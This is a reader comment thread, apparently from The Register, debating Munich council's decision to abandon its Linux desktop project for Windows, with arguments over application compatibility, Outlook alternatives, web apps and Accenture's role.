    4. bombastic bob Silver badge
      Facepalm

      Re: Why not web?

      "I would assume that porting to the web instead would be much better value for money"

      uh, ... NO. "The Web" is _HIGHLY_ overrated, especially with respect to performance and downtime. So-called 'web apps' are toys by comparison to REAL NATIVE APPLICATIONS.

      Be careful, or "the cloud" bandwagon will ensnare you. And Micro-shaft Orifice 365 is the latest siren song, blaring from on top of that bandwagon.

      /me thinks: 30+ years of "PC on the desktop", and SOME people actually think that GOING BACK to a "timesharing" way of doing things is THE RIGHT PATH???

      icon, because, "facepalm" again

      1. Richard 12 Silver badge

        Re: Why not web?

        Some things make more sense as web apps, some as local applications.

        For example, if you're creating and updating transactions in some central database - 100% of CRM, ERP, billing and payments - then a web app is now the best approach.

        After all, if you can't reach (a shard of) the DB server you're not doing anything anyway, so you lose nothing and gain independence from any particular client OS.

        If you're designing a building, then it does need to be local because you need the horsepower and latency will kill you inch by inch.

        There is no One True Way. Pretending there is leads to death by a thousand cuts.

    5. Tigra 07 Silver badge
      Thumb Up

      Re: Why not web?

      Online? English councils already routinely give their data back to the people..In the form of leaving laptops and dongles with said data in public unencrypted and without passwords

  9. Anonymous Coward
    Anonymous Coward

    Nothing to see here...

    Munich - the only place on earth where Bernie Ecclestone could "legally" pay money to make a backhander lawsuit disappear... 'nuff said...

    http://www.bbc.co.uk/news/world-europe-28656050

    1. Anonymous Coward
      Anonymous Coward

      Re: Nothing to see here...

      Wow, I wasn't aware of that. That is a very serious double standard.

    2. werdsmith Silver badge

      Re: Nothing to see here...

      Also known as a "fine" .

      1. nijam

        Re: Nothing to see here...

        > Also known as a "fine" .

        No, it really wasn't.

    3. Anonymous Coward
      Anonymous Coward

      Re: Nothing to see here...

      it's a great deal, I tell you!. Say, you steal X, pay 0.04% of what you have, case dropped... carry on. The only trouble is, the lower threshold for this is, what? 1M? If you can't steal that much, well, I'm afraid, it's going to be a looong prison sentence for you, OLD BOY!

      ...

      "Gribkowsky was sentenced to eight and a half years in prison in 2012 for accepting bribes"

      Well, clearly couldn't afford to pay! :)

  10. AMBxx Silver badge
    Windows

    Council Vote?

    Why are councillors voting on this? Surely, they provide IT with a budget, IT decide how best to spend it based upon council requirements.

    Bigger question - why didn't they check availability of software on Linux before the original migration?

    1. Anonymous Coward
      Anonymous Coward

      Re: Council Vote?

      Having works in a council for a while years ago it's likely because budgets were reduced and/or additional money was required and it was over a threshold which required a vote to approve.

    2. graeme leggett

      Re: Council Vote?

      Why do councillors vote on such matters? Because it's a large wedge of public money, and because you don't want the lone individual executive in charge of IT making the decision.

      Same for infrastructure, planning officers make recommendations and elected representatives vote on whether to build road or not.

      1. Anonymous Coward
        Anonymous Coward

        Re: Council Vote?

        Because councils are political bodies and feel they need to hold everything to account if they can win political points over it. Seriously this is why I left local authority work, it doesn't matter what's best when one party can put the boot into another.

    3. Dan 55 Silver badge

      Re: Council Vote?

      They voted before. Now a new coalition is in control and they've voted again.

    4. Anonymous Coward
      Anonymous Coward

      Re: Council Vote?

      "Bigger question - why didn't they check availability of software on Linux before the original migration?"

      Because THAT was largely a political decision. Even their own forecasts were that it would cost more just to migrate than to update what they had - let alone all the other costs they knew they would incur.

  11. el kabong Silver badge

    Brexit, then Donald Trump, then this. People just can't stop doing stupid things.

  12. Halfmad Silver badge

    Needs government lead

    Local councils, NHS trusts etc don't have the clout to push developers to make linux clients. We've tried and failed to leave MS time and time again but when national systems don't support linux, you're ******

    1. Allonymous Coward

      Re: Needs government lead

      Quite often it doesn't work even with a government lead. For example: https://www.gov.uk/government/news/open-document-formats-selected-to-meet-user-needs

      Why this happens is complex. Personally, I think not enough attention is paid to the fact that the people with the nous & clout to make sensible technology decisions, are also the people who don't hang around too long in the Civil Service or local government.

      1. Anonymous Coward
        Anonymous Coward

        Re: nous & clout

        Who are these mythical beings in possesion of both qualities? Most large orgs seem to have an active policy of ensuring that the intersection of those authorized to make decisions, and those equipped to make them, is an empty set.

        My entire career has been spent trying to make the best of bad decisions made on a golf course.

      2. Anonymous Coward
        Anonymous Coward

        Re: Needs government lead

        Re "For example: https://www.gov.uk/government/news/open-document-formats-selected-to-meet-user-needs "

        How's that working out - see e.g. the attachments at the end of...

        https://www.civilservicejobs.service.gov.uk/csr/jobs.cgi?owner=5070000&ownertype=fair&jcode=1562286&posting_code=0&language=

        in .docx format

  13. kryptylomese

    Google do not use Windows

    Google run Gubuntu - Is the council so special as an organisation that they can't use Linux too?

    Sounds like they are doing things wrongly if they can't use Linux on the Desktop in this day and age!

    1. Anonymous Coward
      Anonymous Coward

      Re: Google do not use Windows

      Google have billions at their disposal and can develop anything they need in-house. Local councils cannot as they don't have the funds and generally will have mandated national systems they are forced to use. Yes these are increasingly web based, but not all of them and even some will still force users to use IE/Edge because national systems always lag behind in terms of browser support.

      1. kryptylomese

        Re: Google do not use Windows

        I agree with you on all points - Did they not think and survey this stuff when they proposed switching?

        Stinks of bad management practices!

  14. Anonymous Coward
    FAIL

    "Users were unhappy"

    If they're unhappy now, just wait until they get their hands on Windows 10. But by then the mayor will have 'moved on' to a nice job at Accenture or Microsoft.

    1. Aladdin Sane Silver badge

      Re: "Users were unhappy"

      Users are always unhappy. It's a default state of being.

  15. James 51 Silver badge
    Linux

    Should be developing web based stuff so it can run on any platform. When I was hired that's what we were doing. Migrating apps from VB6 to Java backended websites.

    1. Anonymous Coward
      Anonymous Coward

      "from VB6 to Java backended websites"

      VB6 fair enough to get rid of, but to Java? Really? Its such a pile of poo. Even .Net is a large step up from Java.

  16. jms222

    People don't seem to understand.

    Linux is just a kernel. Much of what runs on top is an unstable ever-changing and never-finished mess and not even specific to Linux so why bother with the kernel ?

    1. Anonymous Coward
      Anonymous Coward

      totally agree. we have about a 1/6 the number of Linux user compared to MS users on our site and far, far more issues with Linux than Windows.

      1. werdsmith Silver badge

        Look it's true, but you shouldn't say it on The Register forums. Just not done.

      2. Anonymous Coward
        Anonymous Coward

        "totally agree. we have about a 1/6 the number of Linux user compared to MS users on our site and far, far more issues with Linux than Windows."

        Similar here too with only a few Linux users. Also far more issues on the server side with Linux - especially with patches, updates and dependencies. Far more involved and painful than with Windows.

        1. Anonymous Coward
          Anonymous Coward

          Windows house has difficulty with linux! No shit. Likewise, all the linux users are convinced Windows in unusable. And in the middle anyone who mentions that both have their pros and cons gets a downvote storm.

          Grow up.

          1. Kiwi Silver badge
            Trollface

            And in the middle anyone who mentions that both have their pros and cons gets a downvote storm.

            You're absolutely right.

            And I'd have to say that there are plenty of cons among the MS resellers.... (actually among marketers in general...)

    2. kryptylomese

      Er... you don't run a Linux estate do you - the uptime is awesome!

    3. Anonymous Coward
      Anonymous Coward

      "and not even specific to Linux so why bother with the kernel ?"

      No need to anymore. You can run Ubunto at least under Windows 10.

  17. Hans 1 Silver badge
    WTF?

    They asked Accenture, co-founded by Microsoft, what is better, Microsoft Windows or Linux.

    And a bunch of techies on here believe Accenture's excrement ?

    I doubt it is Linux that is a problem, great numbers of councils around the world use it ...

    1. Ian 7

      "...Accenture, co-founded by Microsoft..."

      Accenture wasn't co-founded by Microsoft at all. Accenture came out of the Arthur Andersen accountacy firm and in it's earliest incarnation began in the 1950's, long before Microsoft was created.

      Accenture and Microsoft do have a joint venture they started together called Avanade, and like all big consultancies Accenture is an accredited Microsoft partner. LIke they are with over 100 other companies (including Red Hat, Software AG and IBM) as listed here: https://www.accenture.com/gb-en/alliance-ecosystem

      1. Hans 1 Silver badge
        FAIL

        Accenture and Microsoft do have a joint venture they started together called Avanade

        Yup, I somehow confused Avenade and Accenture ... mainly because Accenture do have a complacency ... I have seen several of my customers getting the Accenture treatment, thus considering the "one software purveyor (Microsoft) policy", an brain-dead arse-child of Accenture ... you know, the usual response on my part is always: "Oh, you put all your eggs into one basket ?"

        Icon => failure on MY part.

    2. WolfFan Silver badge

      They asked Accenture, co-founded by Microsoft, what is better, Microsoft Windows or Linux.

      Bzzt. Accenture was around more than 20 years before Microsoft existed. Try again.

      1. Kiwi Silver badge
        FAIL

        They asked Accenture, co-founded by Microsoft, what is better, Microsoft Windows or Linux.

        Bzzt. Accenture was around more than 20 years before Microsoft existed. Try again.

        Funny, I'm sure MS was around earlier than 2009.

        "In 1989, Arthur Andersen and Andersen Consulting became separate units of Andersen Worldwide Société Coopérative (AWSC)...."

        "On 1 January 2001, Andersen Consulting adopted its current name, "Accenture"."

        (from https://en.wikipedia.org/wiki/Accenture#Formation_and_early_years)

        Oh bugger. Just quoted Wikipedia. Guess my place in hell is now set :(

        [Icon for El Reg - please get that bloody captcha fixed! Or rather get rid of clodfool. You're supposed to be a tech site!]

    3. Anonymous Coward
      Anonymous Coward

      >> I doubt it is Linux that is a problem, great numbers of councils around the world use it ...

      For tiny values of "great".

  18. Walter Bishop Silver badge
    IT Angle

    Microsoft's new headquarters in Munich

    'Microsoft calls new German headquarters “the biggest shift since the industrial revolution”'

    Original Accenture report written in LibreOffice 5.0 Investigation of the IT system of Munich by Accenture

    Accenture and Avanade named Microsoft 2016 Alliance partner of the year

    Microsoft: reminds me ever so much as a cross between Disney and Scientology, they're everywhere, slightly sinister and have no taste.

  19. whitepines Silver badge
    WTF?

    GDPR?

    How did they get this past the GDPR? How is it legal to store German citizens private information where it can be accessed by US, Chinese, etc. authorities and businesses?

  20. Lee D Silver badge

    Same old problem - nothing to do with technical capability, but more "it's different" and "our suppliers insist on Windows".

    As we move towards web-based things, there's literally no reason at all that you have to tolerate that stuff. The OS now is Chrome, in effect. If you can't make your service available over the web, why are you bothering.

    And then there would be nothing stopping people using things like Office 365, or Google Docs, or whatever they choose, on the web, via Chrome, on Linux or Windows. It literally wouldn't matter.

    What you're really saying is "as an entire municipality, we can't choose a decent set of suppliers who have cross-platform tools". That has very little to do with Linux at all.

    As someone dealing with Barclays as part of the services we need in the job I do, a bank who still insist on ONLY Internet Explorer for their Gemalto smart card readers, it's atrocious and I don't have the weight to convince Barclays to change. Munich does.

    Given the laws on accessibility, etc. I would argue that any government-required service that CAN'T be accessed by a standards-compliant browser, without plugins, on any mainstream OS is the fault of the service. Not the OS that you choose to use.

    I have literally considered, several times, my "ideal startup" if I were a millionaire and needed to run something to keep me occupied. One of the first rules would be "No Windows or Mac" (which doesn't leave many alternatives), and I'd damn well make sure that all of the service providers I used knew that. No, not even a virtualised machine, or "just one" for the banking, or whatever. If you can't provide a non-Windows/Apple way of doing it, I'm not interested.

    To be honest, I lived on a Linux desktop for many, many years, even managing Windows networks from it. It's more than do-able. And that was before the whole web-services things really took off. Now I have a Windows OS running VMWare running VMs of all kinds. It should now matter even less what OS I choose to run, virtualise, or access my browser in, in terms of my work or personal life.

    Are you seriously telling me that Munich couldn't go down that route, if Windows is so damn critical, so you literally just get a VMWare window, inside the Linux desktop, of whatever fancy-schmancy app it is that absolutely can't run on anything else? And then phase them out as you go? Hell, you could do it via a cloud service, even.

    It's all telling of someone not-trying-very-hard to stay away from Windows, and not bothering to pull their weight and change suppliers (and/or not being "allowed" to by someone).

    1. Anonymous Bullard

      The thing about using Windows is that you can always blame Microsoft for costs & fuckups. With Linux, you're on your own.

      I use Linux, anything else holds me back. But I'm a computer professional (ironically, a Windows developer), who wants the best out of their computer - not an admin/office worker.

      Libre Office is capable of meeting most needs, but it's only a good alternative to Office 2003.

      Well done for the attempt, however. I'm amazed it even got this far.

      1. Terry 6 Silver badge

        it's only a good alternative to Office 2003. Which, give or take a version or two, does rather make me wonder what the vast majority of users do that needs more than Office 2003 was able to provide. TBH I suspect that most probably don't even use more than the original Word for Windows provided.

      2. tiggity Silver badge

        2003 was about the last usable version of office.

        No ribbon, did the basics of an office suite OK.

      3. kryptylomese

        So you are not aware of just how fantastic RedHat support is - They even diagnose and fix issues with Microsoft products!

        Ubuntu support is also very good!

        1. Anonymous Coward
          Anonymous Coward

          "So you are not aware of just how fantastic RedHat support is"

          But you pay over $9k a year PER SERVER for that if you use the full featured enterprise version! That's way more than Windows datacentre server + support....

      4. nijam

        > ...only a good alternative to Office 2003

        Unlike Office 365?

        1. Anonymous Coward
          Anonymous Coward

          "Unlike Office 365?"

          Corporate O365 subs include the full fat desktop office version - which is what most chose to use. Hardly anyone in the enterprise actually uses the web apps - although they are pretty good these days.

    2. Prst. V.Jeltz Silver badge

      @Lee D

      That was a nice heartwarming bedtime story , it made me feel all warm n fuzzy ,it would be a dream , and maybe achievable with your dream startup. It would be nice to bully suppliers saying things like "When the contracts up for renewal if you havent ditched windows your out!"

      But you'd wake up with a bump trying it with a council with 30,000 staff fighting you all the way because outlooks different , or we need this spreadsheet "Because we've always done it that way" (!?!?!)

      and how do you say 'Autocad' in Linux?

      1. jake Silver badge

        CAD

        Bedtime story? More like a Teutonic horror story! A HOWnotTO primer, in fact.

        I know quite a few companies who have switched to VeriCAD, and are quite happy with it.

      2. Richard 12 Silver badge

        I don't say AutoCAD

        Because I use Computer-Aided Design packages, not a jumped-up 2D drafting program.

        Solidworks, Vectorworks, PTC Creo (pro/Engineer) et al.

        Not sure on Linux editions, to be honest I've never looked. I first used Pro/engineer on real Unix.

        Though it doesn't matter. There will always be some specialists who need specific hardware and software platforms to do the thing they do.

        You don't give everyone a dual-socket 96GB workstation with quad graphics cards just because your senior engineers need one, and you don't force your senior engineers to work on a smartphone just because your delivery staff use them to handle their delivery paperwork.

    3. Anonymous Coward
      Anonymous Coward

      "Same old problem - nothing to do with technical capability, but more "it's different" and "our suppliers insist on Windows"."

      Which is because it costs money to own a Zoo. When hardly anyone uses Linux on the desktop why would they want to bother supporting it? FYI Windows Mobile faced the exact same problem. It was in many ways a better and certainly far more secure platform than Android or IOS, but lack of apps made it not a viable option.

      "What you're really saying is "as an entire municipality, we can't choose a decent set of suppliers who have cross-platform tools"."

      No, they already have a vast set of tools - most of which don't support Linux, to bin all of them and start again would be cost, labour and time prohibitive - and likely for many of them there are no reasonable alternatives. According the Munich's IT department they have so far spend €82 million on trying to do just this! Which is simply nuts when the cost of staying with Microsoft was circa €10 million.

      "As someone dealing with Barclays as part of the services we need in the job I do, a bank who still insist on ONLY Internet Explorer for their Gemalto smart card readers"

      That's nothing to do with Barclays. That's because Gemalto's certificate enrolment uses an Active-X Add-in - and add-ins are no longer supported in MS Edge. The best you can do for now is use Edge in general and add your Enrollment URL to the "Enterprise Mode" list so it will automatically launch in IE11. If you don't like that then it's Gemalto you need to kick!

    4. TheVogon Silver badge

      "I have literally considered, several times, my "ideal startup" if I were a millionaire and needed to run something to keep me occupied. One of the first rules would be "No Windows or Mac" "

      And that's possible for a start-up, with some pain and significantly limited choice. Many technology startups start with Macs funnily enough. That doesn't usually last long though.

      "I lived on a Linux desktop for many, many years, even managing Windows networks from it."

      Because that doesn't require a suite of typical business applications - and obviously you still had to RDP to a Windows box to run management tools - so basically you ran a VDI Windows client!

      "Are you seriously telling me that Munich couldn't go down that route"

      You seriously think in over a decade they haven't tried their best? According to Munich's IT department on top of the project costs, they have spent €82 million! on remediating products to work with their current setup! See:

      https://www.techrepublic.com/article/after-three-years-of-linux-munich-reveals-draft-of-crunch-report-that-could-decide-its-open-source/

      "so you literally just get a VMWare window, inside the Linux desktop, of whatever fancy-schmancy app it is that absolutely can't run on anything else?"

      Well Citrix is usually the VDI choice of enterprises, but yes they did do that. When people needed a version of Office that actually worked it was via VDI to a Windows box.

      And if you are going to do that - why bother with a fat Linux client on the desktop? - just virtualise everything. Where I work we have zero desktops - even in IT - everything is via VDI and Wyse terminals. And FYI the higher end clients like the top of the range Wyse 7040 only run Windows Embedded due to it's better security, features, performance and remote management capabilities than Linux - which is only used on low end boxes. If you don't believe that's why then go read the product descriptions!

      "Hell, you could do it via a cloud service, even."

      Well, yes. Lots of people are looking at cloud desktop and VDI services on Azure and AWS. Not on Linux though!

  21. technoise

    Exchange Servers, eh?

    It sounds like the fatal decision might have been to use Exchange servers for mail - whose brainchild was that?

    The document format issue is a red-herring because Office and LibreOffice can both use Open Document Format.

    Bearing in mind that MicroSoft themselves won't trust their precious Office365 cloud services, or Azure, to run on their own server OS.

    1. Roland6 Silver badge

      Re: Exchange Servers, eh?

      >It sounds like the fatal decision might have been to use Exchange servers for mail - whose brainchild was that?

      Logical conclusion, once you mandate the need for everyone to require all the functionality bundled into Outlook (desktop), which in turn will mean that there will be no point in retaining LibreOffice, because having mandated everyone one needs Outlook, you might as well use the bundled office suite...

    2. Pompous Git Silver badge

      Re: Exchange Servers, eh?

      "The document format issue is a red-herring because Office and LibreOffice can both use Open Document Format."
      Mrs Git emailed me a 2 page Word document to revise. Libre Office needed 6 pages to display it. Such issues are important within an organisation and has nothing to do with the underlying document format.

      1. Richard 12 Silver badge

        Re: Exchange Servers, eh?

        Such things have everything to do with the format. DOC and DOCX are fundamentally flawed.

        In my experience, MS Word is not fully compatible with anything, including itself.

        Staying on a single machine usually works, copying onto any other... Good luck.

        1. Anonymous Coward
          Anonymous Coward

          Re: Exchange Servers, eh?

          "Such things have everything to do with the format. DOC and DOCX are fundamentally flawed."

          Well DOCX at least is better than any alternative I am aware of. If you feel like that just use ODF format. MS Office is by miles the best ODF compatible office suite.

          1. elgarak1

            Re: Exchange Servers, eh?

            Debatable. There are editions of Office that do not have ODF support at all. Like the Mac or mobile device versions.

            There's a workaround using the web services. Even then, you're better off (in terms of quality, say, with a Mac) to convert ODF to .docx using LibreOffice.

            And .docx being better than alternatives? Gimme a break...

    3. Anonymous Coward
      Anonymous Coward

      Re: Exchange Servers, eh?

      "Bearing in mind that MicroSoft themselves won't trust their precious Office365 cloud services, or Azure, to run on their own server OS."

      Who told you that lol?! It ALL runs on Hyper-V / Windows Server.

  22. hammarbtyp Silver badge

    Battle lost, War won

    When Munich decided to go Linux only it seemed a big deal and the day of the Linux desktop had arrived...

    The irony is that it was about the same time that the old fashioned traditional desktop became less important as the world moved to 1st mobile and then clod based systems.

    If you look at these you will find Linux at the heart of them, while Microsoft, still king of the desktop , has slowly become less relevant in the real world.

    To be honest, Munich moving its desktop is as important as choosing my next film camera. the world has moved on, Linux has won and the world no longer cares

    1. Anonymous Coward
      Anonymous Coward

      clod based systems?

      I realise it is only a mistype, but surely this is the root of Munich's problem, whether using Windows or Linux...

  23. naive

    Escaping MS is hard

    Most of the world is between a rock and a hard place when it comes to escaping the MS world without recoding.

    Not only are the MS api's used by the applications proprietary, but they changed, where discontinued and often not published to the full extent in the last 25 years.

    In the country where I live, there is one software supplier with over 90% market share in the community market. And hey, they also are Microsoft partner with oak leaves and diamonds on a platinum cross, their parking lots bristle from new Audi's and BMW's, and I guess they laugh their *ss off for being able to charge what they want and nobody can do a thing about it. The communities, they just increase real estate taxes when the MS mob charges them a few 100K more. Life is good without choice.

    1. Anonymous Coward
      Anonymous Coward

      Re: Escaping MS is hard

      You may have missed the EU ruling that forced MS to publish APIs and document formats needed for interoperability. But keep on living in 1995....

      1. Hans 1 Silver badge

        Re: Escaping MS is hard

        the EU ruling that forced MS to publish APIs

        Even MS Office has problems, as soon as your suppliers migrate to a new version of office, you have to also, because forward & backward compatibility is something Redmond never thought existed. I had to fix a Word document the other day, written with Word 2002, for Word 2016 ... the formatting was "gone" ... no, I do not have an old 2002 Word lying around, but pretty sure it worked flawlessly when it was authored.

    2. Hans 1 Silver badge
      Thumb Up

      Re: Escaping MS is hard

      they also are Microsoft partner with oak leaves and diamonds on a platinum cross

      Thanks, made my day!

    3. Anonymous Coward
      Anonymous Coward

      Re: Escaping MS is hard

      "Not only are the MS api's used by the applications proprietary, but they changed, where discontinued and often not published to the full extent in the last 25 years."

      Not all of them:

      https://opensource.microsoft.com/

  24. Mage Silver badge

    Baffling

    Just when MS is treating Business users badly and promoting their Cloud.

    Many people are going the other direction.

    Who is deciding this, who is advising them?

    I smell money.

    Exchage, Outlook, MS Office, Azure and Office365 are not reasons to GO BACK to Windows on the Desktop. The ONLY reason to have a Windows server is Exchange, which is horrible.

    Windows update, GUI and privacy are now junk compared to Windows XP or even Windows 7. Do these people know what sort of monster Windows has become or is it nostalgia?

    1. Missing Semicolon

      Re: Baffling

      Problem is, that there isn't a good OSS replacement for Exchange/Outlook. There are email servers, and web-based email clients, but the integrated email/address book/calendering systems are web-based only, and usually not free.

      1. Terry 6 Silver badge

        Re: Baffling

        When it would have been easiest for me to switch fully to 'nux, a while back ( I was already dual booting) the Outlook issue was the one that kept me back. I had my Outlook calendar synchronised across devices, beautifully and integrated with my email so that it was always visible. And I had conditional filters that sent and filed stuff where I wanted it. But Thunderbird, with Lightning, didn't give me that degree of utility - in seeing my diary or creating my filters. Outlook is so much more powerful. And I'm yet to find anything in Windows or 'nux that touches it. LO does me fine for everything else, and even when I was working full time in a complicated job it would have been more than adequate. But Outlook was my lifeline. Filters along the lines of Put emails from x into the management folder, unless the subject was tea money etc. is beyond TB's filters.

        1. DanceMan
          Alert

          Re: Outlook

          @Terry 6

          This comes up repeatedly in every commentard debate of this nature. So why hasn't Redhat (or Suse?) written an alternative to Outlook and Exchange. Since they are in the business of marketing an MS alternative to businesses. Are they so marginal that they can't afford to pay developers to do this?

          1. Pompous Git Silver badge

            Re: Outlook

            "So why hasn't Redhat (or Suse?) written an alternative to Outlook and Exchange."
            And what an excellent question that is. For my 18 months of Living Linuxly, the lack of sync betwixt the Calendar on my desktop and my phone, trivially achieved with Outlook, was a source of much angst. If all you need is Exchange connectivity, Evolution apparently works well.

            I don't need that and have discovered a solution that works for me. FastMail is a web-based email client with calendar that I access via my phone, or computer web browser. It lacks a task manager, but I can live with that. The interface is well thought out and the service is reasonably priced.

          2. Terry 6 Silver badge

            Re: Outlook

            A good question that I've asked myself many times. 'nux systems and Open Source software do seem to be based on enthusiastic developers providing what interests them, as far as I can see. So maybe a decent Outlook alternative doesn't ring their bells. It took long enough to even get calendar integration into Thunderbird. I dunno, maybe Open Source developers aren't interested in keeping appointments so don't see why they should develop software for it.

            1. anonymous boring coward Silver badge

              Re: Outlook

              It could be that some think separate apps might just as well be separate apps?

              1. nijam

                Re: Outlook

                > separate apps might just as well be separate apps

                What a shame I can only give a single upvote!

        2. nijam

          Re: Baffling

          > And I'm yet to find anything in Windows or 'nux that touches it

          Frustratingly, Evolution is so so close... but not quite close enough.

        3. Andronnicus Block

          Re: Baffling

          Well, I don't know how sophisticated the filters you require need to be, but in the many years I have used TB I have been able to filter incoming emails in a way that suited my needs perfectly. For what it's worth, I had a go at replicating the 2 condition filter at the end of your post (using Thunderbird 24 on Linux Mint 17) and it took only seconds to set up and works fine.

        4. Kiwi Silver badge

          Re: Baffling

          When it would have been easiest for me to switch fully to 'nux, a while back ( I was already dual booting) the Outlook issue was the one that kept me back.

          I can't recall trying beyond office 2010, but I've never known anyone to have any issues installing Office under Linux. A double-click of the installer, like in Windows, and moments later it's done. I don't know if 365 or other versions since are the same or not. If you have time and inclination to play and don't wish to risk damaging a Linux installation, put it into a VM and give it a whirl.

          I had my Outlook calendar synchronised across devices, beautifully and integrated with my email so that it was always visible.

          I don't need/want my calendar always visible, but aside from that - I have it in my tablet and on my computers (Linux only though, I don't let W7 touch the net after MS made the updates unsafe), and also share calendars with a friend. Ok, in one respect Thunderbird kinda sucks where it may not always deal with dismissing or snoozing a reminder, but aside from that works fine. He can put in an appt and a moment later it's on my desktop and my tablet.

          Filters along the lines of Put emails from x into the management folder, unless the subject was tea money etc. is beyond TB's filters

          Better not tell my system that. It has all sorts of filters on subject, sender, recipient(s) and so on. I use a number of them myself. It's quite flexible and easy to set up in that regard (my only outlook filtering experience was with outlook express, and, well, 'nuff said...)

      2. Kiwi Silver badge
        Linux

        Re: Baffling

        There are email servers, and web-based email clients, but the integrated email/address book/calendering systems are web-based only, and usually not free.

        Seems to work well over here. My own server gives me all that and the security of knowing it's immune to >99% of the malware ever written, patches and updates are painless and seamless (and more than once a month), and the speed - even on the slow machine it sits on - is still pretty good (not that I ever get it near CPU max).

        Best of all, aside from the couple of hours it took to build, and the leccy, and the few minutes every month to log in and run updates (once or twice a week I log in, run a simple command, let that run in the background and log out - with Linux you can trust that your updates won't break anything and you don't have to reboot just because solitaire got an extra byte added).

        For free, I'm pretty sure google et al have all this stuff sorted as well.

  25. Mark 78

    Which O/S is better doesn't matter

    If they are unable to run the Apps on Linux but can run them on Windows, then the only choice is whether they run Windows or a mixture of O/S's depending on user requirements. the article quotes that approximately 400 of the 800 Apps don't run on Linux, and if after 10 to 15 years they have failed to find suitable replacements or convince the manufacturers to develop a Linux version then it is not going to happen now is it?

    Local Authorities always have numerous "special" applications that are not used widely, so are sometimes limited in their choices.

  26. Anonymous Coward
    Anonymous Coward

    What's German for "backhander"?

    1. Anonymous Coward
      Anonymous Coward

      brauner Umschlag?

    2. Anonymous Coward
      Anonymous Coward

      "What's German for "backhander"?"

      Limux?

      1. jake Silver badge

        That would be Canadian.

        And you mispleled "Lemieux".

        1. Pompous Git Silver badge

          Re: That would be Canadian.

          "And you mispleled "Lemieux"."
          The ability to plele correctly is far from universal...

          1. jake Silver badge

            Re: That would be Canadian.

            True enough, but to be fair Pelé had a rather unique talent.

  27. Anonymous Coward
    Anonymous Coward

    Just get the best tool for the job...

    The problem, as I see it, is that their goal was never to get the best tool for the job but to go "open source", Linux in specific. That's the wrong mindset. Linux, or any other open source solution, should be a means but not a goal in itself. That alone is bound to fail.

    Look, "open source" can definitely work, and it can do an amazing job as well. For example: my company replaced all our (3) Windows 2003 servers with FreeBSD, powered by Apache, mod_mono, Samba and PostgreSQL and we never ever looked back.

    But our client side has remained on Windows 7, Visual Studio and Office 2010 for quite a long time. Simply because that was the best and easiest solution to get the job done at that time. Sure it'll cost you (more) money than picking up a free solution. Or so you think... See: company time is also very valuable and should also be accounted towards the eventual costs. If you need to retrain all your staff to work with Open / Libre -Office while they're already fully familiar with MS Office then going open source might not be the best of ideas for that specific part.

    Also important is to keep in mind that some projects have been going through some very drastic changes and improvements over time. Libre Office 5 is a seriously better competitor to Microsoft Office than its predecessors, let alone the pristine fork from Open Office back in the days.

    Heck, it's only recent that Thunderbird started to include calendar and appointment features by default, thus placing it pretty well in direct opposition of Outlook. But back in 2014 / 2015 that was a completely different story.

    1. Hans 1 Silver badge

      Re: Just get the best tool for the job...

      If you need to retrain all your staff to work with Open / Libre -Office while they're already fully familiar with MS Office then going open source might not be the best of ideas for that specific part.

      Ohhh, did you not have to retrain for Office 2007, then ?

      1. Anonymous Coward
        Anonymous Coward

        Re: Just get the best tool for the job...

        "Ohhh, did you not have to retrain for Office 2007, then ?"

        Nope.

    2. dajames Silver badge

      Re: Just get the best tool for the job...

      If you need to retrain all your staff to work with Open / Libre -Office while they're already fully familiar with MS Office then going open source might not be the best of ideas for that specific part.

      How did they become familiar with MS Office -- was there training for that? If not (and there hardly ever is, which is why most users use office software so ineptly) why would you think you might need to offer retraining for different software?

      If you think MS Office 2003 users would have needed retraining to use LibreOffice I hope you also accept that they should have been retrained to use MS Office 2007 with it's radically different UI.

  28. Anonymous Coward
    Anonymous Coward

    Just because people can't find the save as .doc button.

    oooh, it's gonna cost ya!

    1. Hans 1 Silver badge

      "Just because people can't find the save as .doc button."

      You can configure LibreOffice to use "doc" or "docx" formats by default ... no need to know the "Save as" feature found in most editing software ...

  29. Anonymous Coward
    Anonymous Coward

    800 or so total programs needed

    it calls for a joke:

    Q: how many staff does it take to run a council...

    A1: 800

    A2: 8000

    A3: 8000 + backand 8000

    A4: Windows 10!

    etc.

  30. TVU

    Munich council: To hell with Linux, we're going full Windows in 2020

    As I see it there were two main problems.

    The first was the chaotic organisation of Munich's IT resources which allowed for different departments and branches to use different operating systems including multiple versions of Windows as well as Linux. That was a recipe for chaos and increased cost and it's not necessarily a reflection on Linux itself.

    The second major fault of Munich was to go for their own unique in-house developed brand of Linux rather than go for mainstream Ubuntu, Red Hat/CentOS or Suse/OpenSuse. Again, that resulted in increased costs because they voluntarily opted for a non-standard Linux where there was no existing documentation and where there were no experienced staff who could easily be hired.

    Irrespective of the Linux vs. Windows aspect, Munich should be a case study example of how a city should not run its IT resources and how it should not change over operating systems.

    Finally, if had been me, I'd have probably gone for a full city-wide unified Ubuntu or OpenSuse set up where the resources, expertise and staff would have been readily available and the current situation would have been avoided.

  31. tempemeaty

    800 Programs...ouch!

    " She estimated that about half of the 800 or so total programs needed don't run on Linux and "many others need a lot of effort and workarounds".

    She said "in the past 15 years, much of our efforts were put into becoming independent from Microsoft," including spending "a lot of money looking for workarounds" but "those efforts eventually failed." "

    I can't fault them. They tried. They put more effort into this than any other organization I've heard of. They can't create that many software packages themselves. If the software makers they depend on won't do Linux, what can they do? Force them? IMHO it's a no win scenario.

    * insert sinking ship icon/emoticon here *

    or

    * insert "Laughing" devil horned Sat Nad icon/emoticon here *

  32. Shaha Alam

    something, something, something, dark side.

    something, something, something, complete.

  33. peterm3
    Headmaster

    "in Deutsche" should be "auf Deutsch"

    1. Hans 1 Silver badge
  34. Anthonyl

    If half the effort that was spent on producing every possible permutation of Linux was devoted to improving the range and quality of apps available I'd be writing this on a Linux laptop. Where's my Office Outlook PIM integration (non-cloud, or clod as someone more aptly wrote earlier) with Android? Why isn't my favourite Canon photo processing software readily available on Linux whereas both Microsoft and Apple are supported? Image recognition software has nowhere need reached the levels of the free Picasa. Scanning software is a poor imitation of what comes with my printer.

    I desperately want to eliminate Microsoft and had embarked on a 3yr plan to so do - but I have a dozen or more items of software that just won't run (please, no WINE or Virtual Machines running Windows - these are workarounds).

    An advocate of Linux friend, after 3 years of trying, has finally yielded to Apple Mac and now gets on with his work and hobbies.

    1. AJ MacLeod

      @Anthonyl

      If you really want to eliminate MS you will - I got sick of their utterly useless software over 20 years ago and as soon as I learned about Linux I switched; my Windows 95 drive was wiped less than a year later.

      I am not even a programmer - at the time I was an engineering student, and proper mechanical engineering at that! Linux was ready for the desktop all the way back then, assuming technically competent user willing to think a little bit.

